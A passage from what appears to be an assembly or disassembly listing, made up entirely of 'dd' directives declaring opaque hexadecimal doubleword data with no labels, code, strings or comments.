8380C71h, 73F389DCh dd 9300D536h, 0C3C79F57h, 391DA500h, 7022DDDAh, 7C7A797Eh dd 0AB470967h, 2000735Ah, 0A2CAC756h, 0CB488CE4h, 0EADC0080h dd 2FE07764h, 609003F4h, 0E1F30637h, 556292F0h, 2566B01Ch dd 2E826F81h, 20866Ch, 0CE170179h, 22CB241Ch, 4067E19Ah dd 0F0B27098h, 83D6E507h, 0A49012C1h, 288BCEh, 7CD4DB81h dd 8E89CD1Eh, 9C6A5024h, 7F06F128h, 0CAAF4320h, 0EA790011h dd 54F3F840h, 0A50026F2h, 7E6370A8h, 6EFB89h, 4D4B5F1h dd 4069D1E1h, 6FA2D200h, 98436CD3h, 0EC203D8Bh, 5052DF80h dd 0F74C480Dh, 460CAD0Ah, 0EA80E880h, 0A42C1BB3h, 14F4EBBAh dd 0EEA1005Bh, 2B610AD6h, 8500ACC2h, 9B527173h, 0E1C5A2h dd 0A8491595h, 36CC7893h, 0B53E8528h, 7375BF00h, 413FA742h dd 7627099Ah, 501E951h, 0E0DA19B2h, 0A30479D1h, 0B4FB9672h dd 0BAE6CB81h, 0A5A630h, 7648C113h, 4B1D7430h, 0E5E6101h dd 0F43B710Fh, 168660h, 7EB7BC11h, 1850D11Fh, 0B809A700h dd 0DD2FCD31h, 4D8002Ch, 0EC40A1C9h, 0AC0069DEh, 8D2D0FC4h dd 0FB7B217h, 36FFBCF3h, 5774720h, 3B0012E2h, 4F73B4E0h dd 1C53C65h, 250BAF7Ch, 0F8F901A1h, 1B30D05Ah, 0C3CD7820h dd 0FD37008Bh, 0EC81AF21h, 3C0E9179h, 1029A0h, 0DFDD7C0Eh dd 31A50E2Bh, 7B00118Ah, 4D2301CCh, 371B58h, 0AB52135Fh dd 5BB17Eh, 0F64A9464h, 0EA48800Ah, 0F2A89600h, 0FC290E8Fh dd 780F003Eh, 0B094048Ah, 7503C5EBh, 48FD03D0h, 91AA8008h dd 80E000F4h, 0EF28C37Ch, 9D269FBCh, 0B200403Fh, 0B061D6D8h dd 99612BEh, 9D813B9h, 84006FC8h, 0DAA4EA22h, 0D780F301h dd 0FCC47417h, 48902D0h, 0B3E4BE0Bh, 2E18C0C6h, 0F501613Dh dd 0BB259D4Ch, 1460175Bh, 73AA721Ch, 0D18A1E4Eh, 0B60BC3E9h dd 800008F6h, 0E07FD7DFh, 1AE642Eh, 7DD5E26Fh, 706EFC96h dd 2300DCA1h, 4186EC93h, 5043B8Bh, 75F20DFFh, 0FC084F33h dd 4BD5C1DEh, 30CF3F0Fh dd 7A00E080h, 12A281F2h, 5D38711h, 0C60E4C96h, 0C5788032h dd 63001485h, 83655FFDh, 5B308AFh, 2C76D646h, 0E84009Fh dd 231E5292h, 3F73670Bh, 0D7A00C4h, 0E91096Dh, 4C0759F3h dd 1E70C642h, 7D933848h, 0E83FF0A9h, 6200D95Bh, 5A5DEF90h dd 0E7F6FEh, 5BAF276h, 198A1F4Ah, 0B17B5803h, 88E52B3Bh dd 0FABC55A2h, 15020099h, 51CB2584h, 911F950Ah, 7700F660h dd 803CBBCAh, 0F9B20704h, 8085C3D8h, 0E505B50Bh, 46846A1Dh dd 6D00A517h, 3575AF56h, 98906004h, 0C0029382h, 0A56E2E02h dd 0C06C7DE6h, 7CD4447Ch, 2010C19Bh, 0F7E2FFB3h, 0E8C0DEF3h dd 0B40FBD07h, 80735774h, 0AA66172Ah, 0DA220082h, 0E0A43BA3h dd 0A101B556h, 0C9CA6730h, 948E1C38h, 0D656F02h, 0A7F80B09h dd 89F83900h, 0D949E60Fh, 0C1AE14C0h, 63DA0084h, 0E224BAA2h dd 23FB24F9h, 0CA960011h, 0E3C2B21Ah, 55E93C17h, 8D257202h dd 0D04A417Ah, 0E288F840h, 0F7613AF3h, 0DD462C02h, 6C407B3Ch dd 490EEA8Fh, 0FE56279Dh, 15CE1B00h, 98417F32h, 58E94C52h dd 0AC548B03h, 0A01D48F1h, 0E6C0F4CFh, 6D456F9h, 0C0D359D7h dd 93844903h, 1B0340Fh, 5A097D1Eh, 672ECDh, 72A89A0Eh dd 272D0B6Ah, 0E8870611h, 738E00ACh, 7B3F919Dh, 0B1B40038h dd 59834CBEh, 17F63087h, 55ACF5A8h, 1A003C90h, 92149D78h dd 3D72E9h, 8D8A595Dh, 3A497ADAh, 1D15EE01h, 0B0E4AA8h dd 0FEFC75CCh, 7CA33D8Eh, 0E7554480h, 0C23A57DCh, 4B395898h dd 2DA80C6h, 36D62446h, 0CA55C3Eh, 892AEA0Bh, 80C7EA04h dd 0E360E4ECh, 6C72E200h, 0CDDD0614h, 43F74C9Eh, 8DAA614h dd 0A46E8500h, 76FB0C93h, 3C6058h, 7FD3B794h, 3F104E53h dd 369C7E34h, 0E07A58ACh, 9200F91Eh, 87503B9Dh, 70EFCE2h dd 0FB617258h, 1F2B20E5h, 9800BB26h, 2C74E0DBh, 0D97967h dd 35588555h, 3472F557h, 7EFE4600h, 4202EFEBh, 2C5A7981h dd 84E02732h, 0F88CD1h, 10E848BEh, 81F00A9h, 0B2AEBB54h dd 3D1F4FD7h, 0D580899Eh, 34490F33h, 15AF0018h, 2A838D54h dd 6E74FF19h, 0E616D300h, 93E87A0Dh, 1FBE00D5h, 1E5AEA0Ah dd 9F004647h, 4C635B2Bh, 0B7A87Eh, 20ED7A96h, 44681117h dd 3D3F4B12h, 0F61F7C00h, 0AE59Bh, 430D1B98h, 13678060h dd 8700FCF8h, 0CB302538h, 9281ADh, 1D8B06D5h, 61A87A20h dd 4D99E900h, 217E1889h, 0A49100E8h, 35CAFBBEh, 1004292h dd 0BDCE5E37h, 1E31307Bh, 0D8848DFDh, 7C2128EBh, 2BC9201Dh dd 38F4C240h, 2BC1273h, 0B167C31Ah, 0DC60141Eh, 7B00DDD2h dd 7885D842h, 1D241FA8h, 0C081F0ACh, 3117234h, 15017728h dd 8EBE3E8Dh, 1D30107Ch, 8538969Ah, 0A8F75Eh, 60E1AD81h dd 0B4B8D307h, 949B4700h, 0BCDFF3DBh, 167000EEh, 0B9B56C5Eh dd 0A1FBF57h, 5180FCEDh, 0E8C45322h, 75973C20h, 0FDA3EC80h dd 0B1067026h, 5667D500h, 30A877FBh, 78F50060h, 0F4B6071Dh dd 609C6879h, 50E86900h, 741821h, 0FF4CAACBh, 56BC8A6h dd 0D38D458h, 90CC3D3Bh, 2C1DB5E8h, 0A788203h, 3AE715A4h dd 132F007h, 4220CCDEh, 0F449BC00h, 3DD63305h, 0E80F0397h dd 8F329896h, 3B1ED5B0h, 88ACA600h, 12B31DFBh, 4CFD0087h dd 73B90A9Bh, 2F019853h, 0B4092DE9h, 2C3C76h, 1F2323EFh dd 229080B8h, 0FE582C5h, 53829E1h, 9C92F3A5h, 986AF4CCh dd 8C00078h, 0B005A6B2h, 67E8BCE5h, 8ADB3A00h, 0A2BEA9E0h dd 0EE0912DCh, 2D18C812h, 0F496F800h, 6777038Ah, 90600510h dd 80F55E73h, 0D6632978h, 0D9D8100h, 7F383F74h, 933E0095h dd 0F3704DA3h, 0CA002854h, 5B06A5A7h, 78CDE82h, 656EE271h dd 0FEF69087h, 0F0A14509h, 5A0BF4FDh, 0E8528C00h, 482CAC39h dd 0FC100A7h, 28F69437h, 0A31DAD7Ah, 15C0C66Dh, 71A04262h dd 883500Dh, 3700132h, 0FA8AA747h, 0B61C3084h, 4659B27h dd 0A41854h, 0AA86275Bh, 403D9800h, 6E79D773h, 8FB66F3Fh dd 0C0D2C25Eh, 8B3F2F6Dh, 0B9250FE7h, 9FC006C9h, 0C6F39C96h dd 0D7EAF70Fh, 300036DDh, 3F623625h, 0D3B1003Eh, 0A88AE3Ch dd 2E3B48C8h, 0BEC08971h, 0E1A8C081h, 0A1C0A016h, 6412004Bh dd 0D104EF21h, 0C800105Ah, 6CF44FA0h, 7D4B5FEDh, 0E4DC1CC1h dd 93A2C04Dh, 0C9C2E115h, 8F665C00h, 0ED84B592h, 0F601E28h dd 0EA4A40Eh, 7060F898h, 0F4BA42C5h, 47407173h, 0F8988E41h dd 87A2D33Dh, 51673FD2h, 645F1240h, 0B8592CB6h, 0A3CC94B8h dd 2F96C17h, 0B1A685BCh, 0B0808962h, 0A4EAEEB9h, 99343B00h dd 10897903h, 0B0E52462h, 15F580C8h, 71C9E8Fh, 0AE86423Dh dd 0B500F80Eh, 346EEC79h, 0FBEE00C6h, 807E658Dh, 0CA787FB1h dd 5A156600h, 20530CADh, 14EA7B02h, 0C0AE076Eh, 1D67DA00h dd 7E392BFCh, 0C6A080F2h, 65003C34h, 0E7DF4CA0h, 0FC597Ah dd 3BDBAD85h, 7120D417h, 0F22FDE09h, 9C0481A5h, 98603637h dd 0F070F19Eh, 3ED0006Fh, 3938E381h, 24392160h, 1D9F8A16h dd 4C00E06Eh, 0FA5A5CAEh, 0E051C26h, 605B0052h, 104F24FCh dd 891AA800h, 5E4CE28Fh, 0C5620125h, 3EEC7320h, 7D084053h dd 0C0B73CF6h, 0B067EE1Ch, 4BDC76B8h, 4F4017Bh, 0DE7152C3h dd 230D20E0h, 34DE8F07h, 0C1943069h, 9176CCC1h, 0A987B03Ch dd 1A3C52B0h, 2703F078h, 0E5797B32h, 0B070B32Ch, 0BB52BFh dd 88F2CF65h, 0AA4CF9D2h, 34E9400h, 0F1EB497Ch, 6A7E019Ch dd 0CBFF178Eh, 3851713Ch, 40A42108h, 6C5AD81h, 0C102BF7Ch dd 73B69C45h, 8F0C40C9h, 0AE090068h, 0B54333BBh, 0EF750674h dd 0E8C01907h, 4D20A66Ah, 0A0C99035h, 0FB1BE8h, 3AD67CCFh dd 5614A5A3h, 0A6E6F1E2h, 4A658E00h, 0BB9D6E15h, 0B4DB0737h dd 0E0679612h, 6DFA7B8Ch, 686C803h, 0F0F398ABh, 2A4997h dd 3AC0505Bh, 0BED6669Eh, 0DACA7C0Fh, 0FA6CC001h, 5C4536h dd 8D6B0BF0h, 8B567EDCh, 54BAEB09h, 9C6B616Eh, 48E6E7D9h dd 5B11DCh, 0EB2D5729h, 5DFD8E79h, 9BA05F01h, 0FFECAB98h dd 454BF0DFh, 80E09Dh, 3B378BB2h, 5BCD333Ah, 0AF841A0Fh dd 5AE1A0DEh, 0CBC454h, 8BF9DC8Ah, 0AE8C0A72h, 0CA00307Ch dd 4BD8D73Dh, 0B87FA79h, 94A75CBDh, 0D500546Ch, 462CF0A3h dd 4FEE43Fh, 186216F6h, 0EFDCC065h, 0BEEADE7Eh, 779160C0h dd 33E3EAh, 18294AA6h, 769CE55Bh, 1FC89500h, 60719273h dd 86C63EEAh, 0B010D1A5h, 7026E26Bh, 101C33DDh, 0A263F303h dd 7C80F4E7h, 277E01h, 0C34ED1E6h, 547C382Fh, 0E84C2B00h dd 0CAAA9A84h, 92CD010Ch, 0A40F6D4Fh, 544B3082h, 0AD161D72h dd 0DD001420h, 99AF358h, 92325C2Dh, 244D3C50h, 657154h dd 77CA1C70h, 66009747h, 8161F739h, 0EF855EFEh, 41027478h dd 0A0F4AE7Bh, 0E303D840h, 0F05E7500h, 2D2A5C59h, 0C6AC00B4h dd 52B26670h, 1E0078FBh, 93CFD795h, 9D6CF8A1h, 0D90084D0h dd 5E17BF91h, 1CF54ECBh, 637D35h, 0B4CC9A1h, 4500EF2Bh dd 0D5C7BAEAh, 18CCB210h, 893F85C6h, 0B0F8C4BFh, 768C471Eh dd 3D7D2600h, 59C0781h, 0ACBAE55Dh, 0C67C91D4h, 8B1C40BDh dd 93076E3h, 983D0883h, 0B518C752h, 0C212C0DBh, 0A90194ABh dd 0F7F6F508h, 5DFDC185h, 7573E8h, 0A6DB7FA0h, 0C48C3F9Fh dd 4B735E74h, 47B28303h, 0E23798D9h, 97710CC6h, 0B2F558C0h dd 0DF21DACFh, 73C50F90h, 26225980h, 4A745C94h, 0C15E4902h dd 84D518BAh, 8330615Ch dd 63000975h, 30EDDF8Fh, 0A52993h, 5D6599E0h, 1C74F7EBh dd 45DA4703h, 0B0CF305Bh, 78B9E6h, 0E1220986h, 81E92834h dd 57088F00h, 0A22E0C32h, 6B5F01A3h, 85BD9B0Eh, 0A4A0033h dd 0D90B1414h, 3800C187h, 5C534E72h, 0E41E13A8h, 0C2002C8Eh dd 741FDABEh, 787C0022h, 83D3A68Dh, 0EB7145BAh, 0DA0FF37Eh dd 0E0D621CBh, 0B7883890h, 572F3EFAh, 4E324C18h, 0D90108CAh dd 0AF6E7F45h, 7BD0D512h, 0D4154CEDh, 60C96A00h, 0DB6F1F47h dd 0FA5F8700h, 94EE452Ch, 0FDF000A4h, 6A22771Dh, 0DF011B9Dh dd 0DD137446h, 0E0D2F73Eh, 3F43084h, 762E7FA6h, 2F803359h dd 9500D08Ch, 0A413EF32h, 62073Fh, 0D3ADBC93h, 0F8D42123h dd 7300D072h, 446CE26Fh, 74EFE313h, 0EA5C037Ch, 38326D54h dd 588D2CBh, 79077E03h, 156F4A26h, 0A89F4D43h, 0F6E8011h dd 83DE422Ch, 9814A4B2h, 0DD0750F6h, 0A1A2E625h, 56405109h dd 36B3C718h, 0C63910h, 0BAD4D532h, 0EA8769B0h, 0D70EEB00h dd 0CAC70848h, 0C027066Ch, 29140939h, 0C111F442h, 72A6112Dh dd 211EC511h, 2B2508F8h, 11289294h, 0FC216188h, 94D04808h dd 3511144Eh, 6A44702Ah, 7AD64430h, 2D732284h, 513C4442h dd 3720D644h, 36412224h, 0E7F408F9h, 9C6B0211h, 42A28451h dd 0E959110Ch, 223CBE28h, 10443305h, 0CCE100BBh, 3E16FB5Ch dd 8903B896h, 0CF9354F3h, 0A89EDB31h, 7D875Dh, 1F1222A6h dd 3EC620DEh, 76C281Eh, 0D1E87340h, 529FDFh, 87FB7E0Eh dd 139939C4h, 19263800h, 6576CDE0h, 1920068h, 0A649C26Fh dd 0E71CD442h, 0AD407063h, 0E317646Ah, 57C70773h, 204EF144h dd 1B8C5A29h, 0DF89E900h, 326EF69Bh, 0BA71008Bh, 0D0A93070h dd 0EC010D0Ch, 0A7B689C4h, 5BF48719h, 23B2825h, 0EA74049Ch dd 0AC89ACDBh, 646D1CBBh, 0E35CFC40h, 18E9E20h, 25E5B79h dd 2428DEA2h, 403933Ch, 303C88DCh, 526101B1h, 6FB4022Ah dd 150B9EFh, 0D98672F3h, 1FF0E5F8h, 0B001013Eh, 27C7263Ch dd 35642415h, 80487E38h, 96727458h, 3E9442E2h, 5F8168F3h dd 9EE39B3Ch, 0B76A70E6h, 9F00A572h, 0FBD15918h, 0FE90BD3h dd 9CCDE1FDh, 0DA148180h, 0C100D473h, 2A1A12CFh, 3F3AAC29h dd 0B99F2FEEh, 3BF900CDh, 39CBB53Fh, 0D87CB400h, 0F2916307h dd 501000B3h, 66DB9F53h, 60E3B7FCh, 8900AF79h, 0EDEEFFD0h dd 0F2BC8AF6h, 9737009Fh, 2A731CDFh, 0AD00BF90h, 0E40AB39Ch dd 4CF236D0h, 10098B26h, 3C70FF55h, 23997A00h, 0E65E43A9h dd 38A1FC11h, 588E228Ah, 4B40D379h, 0DEC450B5h, 0BE0EBC76h dd 408BE6A6h, 4A7F645Fh, 0E59050BBh, 0FE82FE56h, 49B043h dd 249BC139h, 98A31ADCh, 6383460h, 18D589Dh, 9289993Dh dd 603C512Bh, 6500A5DFh, 15F8B02Dh, 17B7EEh, 8718FC90h dd 16F2C16Ch, 96E35400h, 95560D67h, 0A1C7E7Ch, 9B612837h dd 0B5D880F0h, 107DCBCEh, 60074100h, 31BD4AD5h, 1DED794Ch dd 0C0C82A0Ah, 0F145C736h, 8AEA2312h, 9805894Bh, 0FC0583B6h dd 0C0AB10E0h, 2E0B5EF4h, 7E0094FAh, 0E7237549h, 0F8CBC5AEh dd 32BA00BBh, 2689FAACh, 2038905Ah, 0C58D8050h, 4D21775Ch dd 5DC4013Bh, 0C018541Fh, 7F45F95Bh, 77DA9C80h, 0B2FC071Dh dd 7FBB7831h, 9B37DF80h, 2000529h, 0FC366FECh, 9875DE38h dd 60E10032h, 6B423EFBh, 0CD008351h, 3B1C122h, 9816460Ah dd 3E9B0B7h, 0C710A87Dh, 0BAF0A3EEh, 82006E95h, 1BABE441h dd 7B4531h, 0BB539136h, 0C5D72F71h, 7000B372h, 2EB8552Ah dd 0F631BB4h, 698D2108h, 0C8E75A4Fh, 73B3803Eh, 1B00D6FFh dd 10DFEDA7h, 0AC46CEh, 0EA88981Dh, 9A3B7AD1h, 0F4F3FC00h dd 0DEB15BC9h, 8AC30051h, 8F4607D0h, 6E07C094h, 0CA618E95h dd 5DFAF5A0h, 0D5400345h, 0F87D2192h, 61471488h, 80E43Eh dd 6E2B5202h, 0C63C98h, 9B857E4Fh, 9F8C63B2h, 73551400h dd 91D1FD92h, 3B530068h, 0A8C22BD9h, 0BC7E9A6Eh, 32356F1Ch dd 19CA3180h, 1F3B64C0h, 40F10326h, 7DC5EC25h, 0B0F6857h dd 0DDFA41FBh, 0A35B66C0h, 7EBF37h, 1E30C397h, 8CEDC9EBh dd 4B18DF00h, 7110418Ah, 0AE4200B0h, 0B5BDB8ACh, 8F15CDEBh dd 0DC15B6h, 1F22130Ch, 3A16635h, 9F2FAF3Dh, 10F36F7Eh dd 3315C5A8h, 0BB2C300h, 0D9F8A8E1h, 0AAE801A1h, 0F183EA93h dd 0B89EE04Ah, 97005D79h, 0FCC91E7Fh, 7F8489C2h, 0C653016Ah dd 8FDC11CBh, 0E01AC93Fh, 0B6000B77h, 7C4F1787h, 9DB7F0h dd 40D9F5F4h, 0CA8E44A3h, 79140300h, 0C637C387h, 0BCE50067h dd 86401AA1h, 9900B67Ch, 0F7CAEAC9h, 3DE5321h, 0A65FD03Eh dd 1CF89C0Fh, 7100F137h, 26FFEA27h, 1F67849Eh, 8095F54Eh dd 0D68081B3h, 8D014DBAh, 1DA6C26Eh, 7F609C05h, 0B43D0604h dd 0E4BB699Eh, 8DFB5Ch, 9490B7D9h, 4B996Ah, 71F33238h dd 2D53AF88h, 7029E001h, 0A9CE30FCh, 0A1AC4h, 7B04E676h dd 9DF745BBh, 0F1DB50C0h, 0DC5DB2h, 0D6FABE9Fh, 0A4FE9244h dd 0B0937B00h, 0C5B415A5h, 0AE840474h, 0B88AA6EFh, 93127E2Eh dd 800347Dh, 8E66AC56h, 0F7B800A8h, 8BC67592h, 63041E52h dd 6F238DEh, 725C180h, 19E4E8h, 0A417D17Ah, 5BDDFF7Ch dd 821E0100h, 72813DAFh, 0A3BD28EEh, 1CD00386h, 0EA4E1F97h dd 0F957E2B0h, 66C6231Dh, 6C008F2Ch, 0DB298614h, 21A700B8h dd 205CF7B2h, 66001232h, 31042E92h, 355D881h, 0F6761664h dd 6988C582h, 0E0006FFh, 0AFDCA3C1h, 0FBE0204h, 0CDF30C22h dd 0E900ED2Fh, 0B0FFB803h, 82323000h, 70FE2018h, 0F39A1FC9h dd 0E8F9420Ch, 70696D95h, 1358F0EBh, 0C3A6AC00h, 6F269F91h dd 0F4B000B4h, 0F0CCFE74h, 0B5008B28h, 2F56D038h, 61516Ah dd 0A20FF8Ah, 71D8CC97h, 0D5004EF0h, 0D0F0BBA0h, 9807FB7Bh dd 3D99002Eh, 37760868h, 0A700D365h, 426AAA20h, 784B335Ah dd 1E2100FBh, 2FE89271h, 0DAE8B598h, 6B3F4F0Ch, 282BF881h dd 0F0336Fh, 0CADECCA7h, 3EB1B67h, 35071090h, 510599C6h dd 96A3001Bh, 3DAA3Fh, 0C5EE03FDh, 4109C042h, 1F6F8600h dd 0FE570268h, 0F7B700CEh, 97A47834h, 0FC98F240h, 447C6300h dd 0E552944Fh, 2B6B054h, 0E767FB36h, 0F260D47Bh, 1013A79h dd 0C73DDEA5h, 12FCFD50h, 0D35F0071h, 49E81E6Fh, 0A47A69F5h dd 74DDF11Dh, 0BFA68140h, 91C5657h, 0C4F0B7DAh, 0E0044D09h dd 0F801C029h, 0BD903CD0h, 8E7D5C2Eh, 0A0D3EB00h, 26EABCCAh dd 2624E177h, 0CF1D001Ah, 0BEE41C5Dh, 70F84Ch, 0CD44B8C7h dd 652DFFh, 0C00A6113h, 7B95633Ch, 0C475ED01h, 925F4656h dd 17A8FD20h, 4DB38DCh, 0C0155BDEh, 0D844C324h, 397EEF44h dd 368043F5h, 0DD1695B0h, 0B90062D1h, 9CEC9103h, 8D49CCh dd 0D414B359h, 5465C496h, 973AED05h, 3880CDBEh, 386EF02h dd 5E17E98Bh, 31F03476h, 857111ABh, 0F7637A00h, 0F02A235Fh dd 257240h, 3F69346Dh, 0CD7D87AFh, 0F103A9E2h, 0D52AB11Dh dd 6265CA88h, 79AE8244h, 6F30C00Fh, 41A400DFh, 585932A2h dd 2B07C751h, 0AD88555Fh, 0BEDCC6A0h, 2DDD00EBh, 1002EC7Eh dd 1812596Bh, 0D601B52Ch, 62E4BDF6h, 67FFC0h, 0AEC69D3h dd 5AD1649Ch, 315B7600h, 0E24A7451h, 11DC0975h, 4C01887Eh dd 0CCA5C01Fh, 0B01FBEFh, 0ADBC773Ah, 5080B607h, 7FBFA9B1h dd 0FB01056Dh, 0D63C3A94h, 4AC18159h, 3545CCh, 737AAAA5h dd 146E741Bh, 4CD8F224h dd 0F8EF7002h, 0A0CC60h, 0A582E75Fh, 0ADB2815Bh, 0F42479F4h dd 540F0CF7h, 579B00A6h, 0FE4F59Ch, 6E648E33h, 0D26C4492h dd 0CBF3807Fh, 72000BB6h, 3605686h, 36AF40h, 19DE97D8h dd 0DB6A3589h, 88D4DA00h, 4C4E3879h, 88C6507Ch, 9AD00E0h dd 72D083B8h, 29017E80h, 0F3E2E1B4h, 9040328Dh, 20C05CF5h dd 0F0087CEh, 0DFB09C34h, 0CA7B46h, 98C40DAEh, 819249E7h dd 2E0F9900h, 0BDA635BEh, 6B83034Bh, 5ED01173h, 7FC0559Ah dd 433B0A64h, 853E052Bh, 9002D186h, 15083C60h, 4B800490h dd 5B378B9h, 6E9A6800h, 46731EC9h, 74FC96h, 0E14A6BEBh dd 7A49C802h, 8BED4202h, 48469AD6h, 0A4C1548h, 72F69295h dd 4AAB8088h, 0D8D34560h, 0F01DA003h, 1EB0C3Ch, 39D9DB70h dd 0F0B01AACh, 0B909E1h, 0D3E9AB07h, 1560F6D0h, 67EF006Bh dd 1A24F186h, 4202C041h, 0D32EFB52h, 36856029h, 5E820997h dd 0D400177Fh, 471B08DFh, 84707607h, 0BEA06E29h, 3D739Bh dd 0E3A2074Dh, 15660CE2h, 0D5EA0500h, 5A631052h, 386E00B4h dd 147C5C64h, 167A2EA3h, 0BB7ED109h, 0B7D0005Bh, 1A73C6Fh dd 0B3FD2581h, 241F5C08h, 0C80A5F18h, 0C0DBC05Ah, 0FAAF600h dd 3FBFC7Ah, 47BCC319h, 0A2F0EDBAh, 0BB002FD3h, 0E817BDD4h dd 834626h, 62DEB156h, 93B8B6B0h, 0F600CC90h, 92E249FEh dd 0E83E7Dh, 51698199h, 8277ABCh, 1A0018EEh, 39E1EEA6h dd 1AD9633h, 66179C35h, 40E68780h, 4727F7BCh, 4AEAC820h dd 0CC5C431Fh, 5FB0CEB5h, 0A60096F5h, 1D0F5EF4h, 71A395h dd 0B32B49BFh, 851E28E6h, 37C93007h, 2433EFA8h, 4CEAF0F8h dd 8BEE147Eh, 5304BC22h, 0D0EC2873h, 11DD190h, 0B8213803h dd 82CCEE5Ah, 2BCAC00Dh, 50D7000Fh, 0FA22AADFh, 3C0114EFh dd 0E233E080h, 0C04041B8h, 0B8C31037h, 0A585C54h, 0F26F7F00h dd 6EF00EA1h, 2379B00h, 622D1672h, 248C94E6h, 481E0080h dd 4317EB23h, 7B89B15Ch, 0DB13FA00h, 6B8A385Ch, 0EBC070Ah dd 0BFDE50A6h, 5B00AB32h, 71B79869h, 94CC5012h, 884A486Ch dd 3B5E0C80h, 493948C6h, 0FDB500D2h, 714ACB07h, 1857F66Ah dd 70BC976Fh, 7603954Bh, 58B85228h, 0C45EF1B6h, 0B1B9C880h dd 22ECF75Ah, 29048EE6h, 1FB6244Ah, 8DDE1381h, 35A47450h dd 2FB70046h, 0E24E176Dh, 0BE00A7FAh, 4070831Dh, 0A48E6B42h dd 0BB730388h, 6A347715h, 0B62EBE98h, 667C5503h, 0B8BC58FCh dd 4A733F7h, 0C4B9757Eh, 910080ACh, 542861B5h, 98001086h dd 0C93CF6E2h, 9A4A5024h, 1D350080h, 0B2C63DE5h, 0F418948Bh dd 5A10E405h, 34526B3h, 340B4644h, 9FE0697Dh, 997C0105h dd 0A800CD25h, 7B62D0C3h, 0A8E471h, 5ABB324Ah, 0A1937903h dd 6831E0EDh, 84E30D00h, 45B94E0Fh, 0F4F90051h, 0B2431BBDh dd 8C015058h, 0A5F0EFFh, 0F07B8752h, 1F1D47D7h, 0F680EC2Ch dd 1D4A09Ch, 84AF09A2h, 0F880A752h, 144F2DCCh, 0C592471Eh dd 367CB600h, 0A1ED80h, 84A9A3E1h, 9F825F0Ah, 16240B0Fh dd 3EB2E89h, 0F880C332h, 1EA1F605h, 716BA6h, 0DAF98E4Eh dd 24307729h, 49DDE0C0h, 7CA300B9h, 0A4471326h, 80410A6h dd 9D9DC43h, 55742081h, 3CE63FCCh, 8501235Dh, 9847A529h dd 0E46C022h, 9D7BC000h, 35B91E5Eh, 0BBDA00F3h, 0B52B5D66h dd 6B01D59Bh, 0FC2265C1h, 43F05ACBh, 0E4480021h, 2D62074Fh dd 0FB007D18h, 0EF9799EEh, 5C4C6Fh, 9246B91Ah, 7E3261DBh dd 49BD4100h, 5F449E9Bh, 54AC3D84h, 1521F982h, 0F2E17145h dd 0D099C901h, 9B00DA76h, 0E230E604h, 75F491h, 28AD9C09h dd 7125D9CAh, 0AF512203h, 0D863C82Eh, 213DF7h, 0DA15AB90h dd 1C4AF343h, 8FC8D00h, 4B064F0Fh, 7C250088h, 0C6A6EEEFh dd 0B775E01Eh, 1A023100h, 63221735h, 0D4B13BE6h, 0BEADDB83h dd 51A0A07Eh, 0A700B9FBh, 59210610h, 0E85871Dh, 7E8FC240h dd 4FF7B2C0h, 1C03033Ch, 0BE5A0D5Bh, 570F9850h, 3F4FE61h dd 599BDBE9h, 0BD9AF1DAh, 625AE8E0h, 0BFCEFA00h, 0B6C521B9h dd 22E90088h, 808F939Bh, 0D3004428h, 0AE8BD4E8h, 0B0C39FBh dd 2D7C02A0h, 0D0986381h, 0B8FC05Ah, 7A4AE33Ch, 64C7C91Dh dd 6CB6E787h, 0E4F12260h, 9CB81FF6h, 0B4080CFh, 9DAED592h dd 0C3C91501h, 0E51C5BDAh, 7CEA5080h, 84267891h, 0A9459E00h dd 2327EFD3h, 2DAD00FBh, 0F647467Dh, 580CF448h, 0D8AE5E4Eh dd 0F2D8004Bh, 17F375A5h, 4F00ADE9h, 0AB6277F8h, 0CC3396h dd 0DE2765C6h, 0BEF4DD08h, 71BAFE00h, 3F8F81C1h, 5A7A0033h dd 0F11912F5h, 3C0070A2h, 5544295Eh, 0DA256Dh, 0E2FC157Eh dd 0B6F1FB06h, 871E3E7Fh, 60000B11h, 0F96A94A7h, 14C7AC5h dd 78E16CB4h, 0D8ACAB92h, 0E37C99D5h, 50B0DE00h, 39B75DC8h dd 0A2BD00D7h, 67A02FCBh, 50073CFh, 0FB4B2782h, 90B699F3h dd 48E07Ch, 0FEB0E3DEh, 3E619FC2h, 28EBF600h, 0EEB6A9CEh dd 91CC0071h, 0D656169Ah, 8A008714h, 62BF077Eh, 21CA41h dd 36A4862Fh, 0D45A4246h, 4CC7BC00h, 0DA643FABh, 6558003Ch dd 82FECA9Eh, 0A0A8139Ch, 531FABA5h, 0D2D40BEAh, 95DF00B4h dd 0EB5F1850h, 85C7000Ah, 0D4082E8h, 97FC2164h, 0F3300807h dd 0AEA01AEFh, 48B0FD91h, 11007879h, 5BAD4A24h, 0D10C6DB5h dd 88839B69h, 0E560000Fh, 0F97C5978h, 0F8601576h, 0A46873E4h dd 0D4370F8Dh, 0BA066EEh, 0E7B69205h, 0CC324107h, 0A8B0F58Eh dd 961E0Dh, 1F3FBEDFh, 2FDA9348h, 51720700h, 0EB65ABC0h dd 413900CAh, 4B7081B8h, 4E00453Eh, 446766DFh, 778841Dh dd 72BA0112h, 3F0340A8h, 4005EC6h, 41A0E8AEh, 71CDBh, 47B4879Bh dd 6A90C71Bh, 2C03D4F2h, 4618A7Bh, 0E1ED9BF8h, 0FDC01E32h dd 811B0087h, 0B229F1C7h, 54C0B028h, 2D45FE2Ch, 0A8E0016Dh dd 0DBAC3CAh, 74E5ECD5h, 0E1299700h, 0A6FA981h, 5C720077h dd 5741F9B9h, 0BCEA7851h, 7A6CBA5Ch, 96CFB71Dh, 0D4080640h dd 393772h, 18E95C91h, 0BE3475A9h, 6D30520Ah, 0AD009445h dd 251238AFh, 9FE000CCh, 7881981Ch, 3E00AAFEh, 0F9A099F1h dd 1B16F6Ch, 0EB647CE0h, 0EB339CFDh, 6E50A8E0h, 360EE300h dd 55ADFECDh, 0B40705Bh, 0EE825CC3h, 0CB8FEF80h, 6607A735h dd 22F94590h, 0D55068D0h, 93860039h, 0BAA9F370h, 1407B697h dd 6D9DA107h, 0FA338290h, 491A07D1h, 0CB406A6Fh, 2CC2F00h dd 0ED2668D3h, 0B887997Bh, 258070D1h, 0E93D666h, 768FC52Bh dd 5873A966h, 0E020BC03h, 0B7847ADDh, 57C0F2B0h, 48F36082h dd 4D86E409h, 85ADB200h, 155980B1h, 0D539075Bh, 709C54C9h dd 777448BCh, 80B0A63Dh, 4A1E6383h, 1BA7A64h, 0E4991954h dd 0D4F62BA8h, 9206D1D5h, 366837D6h, 96E70B80h, 9580D228h dd 92B05BE9h, 0FB030B00h, 0AB60E440h, 0F15A0288h, 6F6765F8h dd 307FD6C1h, 1DE8A327h, 0BE8DF600h, 0A8B3ECB8h, 